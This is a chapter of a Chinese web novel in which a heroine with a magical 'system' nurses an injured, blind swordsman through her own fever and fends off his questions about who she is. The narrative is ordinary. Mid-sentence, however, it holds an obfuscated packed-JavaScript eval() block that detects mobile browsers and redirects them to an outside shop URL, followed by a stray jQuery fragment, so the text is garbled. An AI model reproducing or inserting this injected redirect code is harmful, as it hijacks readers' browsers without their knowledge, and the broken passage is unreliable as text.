29.高烧

作品:《被普法系统强制绑定了

    陆景行听不到009的哀嚎,但他能止住009的哀嚎。


    手掌摸索着探过去,因为高热而暂时陷入了昏迷的少女被他抱起来半揽在怀里,然后他探手从里衣口袋中摸出一个精致的药瓶,倒出了一颗药丸。


    009见状瞬间振奋起来。


    太好了,是药,宿主有救了!


    男人带着茧的指腹沿着少女柔嫩的脸颊,触碰到唇瓣。


    指腹碾过唇角,按住湿润柔软后陆景行只觉得浑身一麻,几乎下一瞬就要本能地抽回手。


    可无知无觉的人却皱着眉头,先一步张开了嘴巴。


    湿热侵袭指尖,陆景行猝然一惊,药丸瞬间掉进了沈长宁半开着的口中,很快在舌面上融化。


    苦,太苦了。


    几乎要将舌头都吞噬的苦意即便是意识不太清醒也完全可以感受到。


    沈长宁紧皱着眉头,本能地想用舌头将口中那抹浓郁的苦推出去,却正好撞上了探手过来检查药丸有没有掉到别处去的陆景行的手心。


    湿热柔软在掌心擦过,宛如幼猫舔舐。


    陆景行一瞬的错愕后猛地意识到了那是什么,于是他飞快地缩回了手,整张脸在顷刻间彻底红透。


    而沈长宁对此全然不知。


    她实在是烧得糊涂了,嘴巴又因为被喂了药丸而正苦得厉害,想喝水的欲望在这时已经达到了巅峰,一张因为高烧而显得绯色连绵的面上细密睫毛抖动半晌,最后眼睛终于睁开。


    “……陆刑。”


    她眼冒金星地盯着面前的人看了许久,才终于辨认出对方的身份。


    于是顺理成章地开口:“喝水,要喝水,陆刑。”


    病中原本清亮的声音也变得沙哑,说起话来像在抱怨,总带着几分不讲理的哼唧。


    陆景行手心正发着麻,被她这么一叫,耳朵也跟着发起麻来,一时间便忘记了回应。


    但沈长宁烧糊涂了,脾气大得很。


    见他不答应,立刻手软脚软地撑着床榻试图爬起来自己去找水喝。


    陆景行一个不察,被她挣脱开,立刻伸手把人给重新按回了床上。


    “你躺着不要乱动,等我一会。”


    沈长宁本就昏沉的脑袋撞上稻草,立刻更迷糊了。她乖乖答应,手上却又握着陆景行的袖子不松开。


    陆景行扯动,她便握得更紧。


    如此往来几次,陆景行最终只能放弃,转而叹气。


    “我去给你倒水,沈离,你松开我。”


    高烧暂时性地蒙住了沈长宁的意识。


    昏沉的感觉将脑袋割据成矛盾的两瓣,疲惫和亢奋在搏斗,撕扯着她的神智,催促着她做出一些不合常理的事情。


    沈长宁闻言睁开眼睛,盯着陆景行看了一会,仿佛不知道在想什么一般。片刻后,她突然撑起身子,神秘兮兮地在他耳边咫尺之远的地方开口:“告诉你一个秘密,陆刑。”


    “我其实会魔法。”


    “?”


    随着听不懂含义的奇怪词语从她口中蹦出,还不等陆景行反应过来,009便先察觉到了不对劲。


    “宿主!不可以!宿主!”


    沈长宁完全屏蔽。


    “给我一瓶水,开启百宝箱!”


    砰的一声,床上多了个装满水的水囊。


    “再给我一瓶水,开启百宝箱!”


    再次砰的一声。


    “……开启百宝箱!”


    “……开启!”


    随着口令一声一声地从口中吐出,命令中许愿的东西也跟着一个一个地出现在床上。


    说到后来,无法抗拒命令的009已经从一开始的绝望变成了麻木。


    片刻后,空空荡荡的床上摆了十多个水囊。


    “你看,有水喝了。”


    昏沉感又开始上涌,沈长宁努力打起精神,握住陆景行的手。


    陆景行不明所以地被她引着伸手,在触碰到后被子上多出来的那些东西后他先是一愣,随即瞬间不敢置信地收紧了手掌,握住了手边离他最近的那个。


    皮革的触感,内里鼓鼓囊囊,晃动起来还有熟悉的声响。


    他握在手里确认了许久,最终确定这是一个羊皮制成的水囊。而且,他伸手一摸,摸到旁边还摆着许多个一模一样的。


    “这是……水囊?哪来的?”


    他惊愕不已地发问,却没换来回答。


    被高热而催生出来的精力起得快也去得快,刚刚还亢奋不已,这会便又已经倒在被子上重新睡着了。


    陆景行兀自坐在黑暗中发了会呆,随即狐疑地又探手摸了摸,直到确认那真的是一堆不知从何处冒出来的水囊,而并不是他的错觉后才重新躺回去,在不明所以的茫然中扯高被子,将身边的人连同自己一起罩住。


    沈长宁的这场病来得太迅猛。


    整整两日,她醒了睡,睡了醒,直到把陆景行药瓶里的药丸吃掉大半,才终于在第三日彻底退下高热,清醒起来。


    她一清醒009便立刻向她控诉起来。


    “宿主!你居然就那样当着他的面开启了百宝箱!!我叫都叫不醒你!”


    沈长宁听着也一阵后怕。


    “……我保证不会再有下次了。”


    差一点就要面临奖金被扣光的危险的009仍没有放弃,在她耳边嘀嘀咕咕地警告道:“你一定不可以让别人发现我的存在啊!这是很重要的!会受到很严重惩罚的!”


    它的奖金真的会被扣光的!


    沈长宁自然立刻向它再三保证。


    009终于勉强接受,转而又告诉了她第二个消息。


    也是坏消息,只不过是对于沈长宁来说,


    “宿主,因为你在睡梦中开启了整整十八次,兑换了18个水囊,所以现在,你的百宝箱余额仅剩三十次。”


    “……”


    沈长宁花了许久的时间,最后终于不得不接受了这个噩耗。


    她转头,看向窗外已经不再下雨,只是显得阴沉沉的天,心下突然轻轻一动。


    “下山?”


    陆景行偏了偏头,轻声重复道。


    沈长宁嗯了一声。


    “陆刑。”


    陆景行耳边响起少女的声音。


    “这雨好不容易停了,我们得趁这个机会下山去采买一些东西,不然万一再下起雨来,我们撑不了几天了。”


    陆景行没说话。


    他指尖轻轻在面前粗糙的台面上摩挲着,仿佛在心底掂量沈长宁此刻是在说谎话的几率有多大。


    但沈长宁这一次真的是认真的。


    她手里的百宝箱只能再开启三十次,而谁也不能预料她到底要和男人一起在这里住多久,毕竟沈长宁还没有拿到解药。若是住的久,两个人的消耗,光靠她手中百宝箱的支撑一定是远远不够的。


    “……而且。”


    沈长宁看着男人虽然已经过去好几天了,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14494756|151597||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    但看上去却仍旧苍白的脸色,轻轻皱了皱眉。


    “你应该也发现了吧?我的药物只能治你的伤口,并不能治愈你亏空的气血与衰败的元气。”


    陆景行没想到她会提到这个,闻言有些意外。


    他沉默了会,最终问道:“何时动身。”


    沈长宁的眼睛瞬间亮了起来。


    --


    江南多山多水,茂林掩映,层峦叠嶂,不认识路的外地人行走在其中一般很难找到离开的出口,顺利走到镇上去。


    除非他们也有个可以暂时充当导航的普法系统。


    牛车载着人慢吞吞地在路上走,不久后经过一片熟悉的河边。


    沈长宁眼睛一亮,拍了拍旁边自出了门后就再没开口说过话的人的肩膀。


    “哎,陆刑,到河边了。我当时就是在那儿捡到你的,你当时趴在那马背上,一身的血,我还以为你要死了呢。”


    不是以为,其实就是快死了。


    要不是靠009给她兑的那些早已失传的神药作弊,陆景行早去见阎王了。


    她说到这个,本来沉默不语的陆景行突然转头看向她:“沈离,我当时真的伤得很重。”


    这些话陆景行其实早就想说了。


    他抬手指住胸口处那处已经彻底长好了的伤口,告诉沈长宁:“我的这儿,是被利刃贯穿的,虽然侥幸没有伤及心脉,但一般的药物根本不可能在短短几天内就使得伤口愈合。”


    沈长宁不知道他要说什么,茫然地看着他。


    “而我的眼睛也是,即便是去医馆,也可能有哪个医生可以保证将我的眼睛治好,可是你说你可以。”


    而且少女并不是在说假话。


    她给陆景行用的那个药液,每次倒上来后,都可以将灼痛感驱散得干干净净,其效力可想而知有多厉害。


    “你有那么多神奇到绝对是有价无市的名药,却可以这样毫不心疼地挥霍在一个陌生人身上。沈离,我其实一直都想问你,你到底是什么人?”


    男人的声音低沉喑哑,是前所未有的认真。


    话语落入耳中,沈长宁心下突然猛跳了一下。


    她本能地张口,却又不知道该说些什么。


    “这,这重要吗?”


    于是哑言片刻后,沈长宁打了个哈哈再一次企图蒙混过关。


    “这应该一点都不重要吧,你想,我既然治病救人,那自然除了医生以外再不会是别的了。”


    “……医生?何谓医生?”


    陆景行愣了一下。


    沈长宁意识到自己的口误,连忙纠正道:“大夫,我是说大夫。”


    “……你真是大夫?”


    或许是沈长宁谎话说多了的报应,陆景行如今再听她说任何东西都会本能地开始怀疑。


    “你师承谁家?主攻什么?又修习此道几年了?”


    沈长宁被他问得一愣一愣的,正准备瞎编乱造一个,脑子里却突然蹦出来一个名字。


    “神医谷!”


    一改刚才的支支吾吾,提到师门名字时,少女的声音突然大了起来,似乎很有点为之而得意不已的样子。


    “神医谷你知道吧?我是神医谷里的女弟子。”


    太聪明了。


    沈长宁忍不住想,人怎么可以这么机智。


    仅仅几秒钟的功夫,便可以在这样紧张的拷问中立刻想起来一个不过只是听009提了一嘴的门派并且面不改色地回答。